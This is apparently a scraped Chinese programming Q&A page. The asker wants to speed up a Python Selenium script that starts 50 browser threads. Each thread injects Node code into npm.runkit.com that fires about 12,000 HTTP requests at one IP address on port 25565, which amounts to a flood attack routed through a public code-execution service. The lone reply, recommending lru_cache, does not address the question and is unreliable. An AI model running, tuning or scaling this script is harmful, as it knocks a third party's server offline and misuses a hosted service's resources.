我想知道,是否有任何方法可以打开多个页面或浏览器,使用同一个站点执行相同的功能,而不会崩溃或消耗大量cpu。某种方法可以在几秒钟或一分钟内快速打开所有浏览器或页面。是否有任何方法可以优化此脚本,使其不会使我的计算机崩溃?完成所有这些功能 不需要进行100%优化,只需以某种方式让计算机在15秒左右打开所有页面后做出响应
import time
import threading
from selenium import webdriver
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.common.by import By
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.action_chains import ActionChains
urls = 'https://npm.runkit.com/'
def e():
driver = webdriver.Chrome()
driver.get("https://npm.runkit.com/")
WebDriverWait(driver, 20).until(EC.frame_to_be_available_and_switch_to_it((By.XPATH,"//iframe[starts-with(@src, 'https://runkit.com/e/iframe')]")))
time.sleep(10)
element = WebDriverWait(driver, 20).until(EC.element_to_be_clickable((By.CSS_SELECTOR, "div.CodeMirror")))
ActionChains(driver).move_to_element(element).click().send_keys("var axios = require('axios')\nvar i = 1;\nwhile (i < 1200) {\n axios.get('http://190.115.196.123:25565/') \ni = i + 0.1;\n}").perform()
driver.find_element_by_xpath('/html/body/div/div/div/div/div/div/div/div[3]/div/div/div/div[2]/div[2]/div[1]/button').click()
for i in range(50):
t = threading.Thread(target=e)
t.start()
越快越好
您可以通过使用来自
functools
的lru_cache
装饰器来优化CPU消耗相关问题 更多 >
编程相关推荐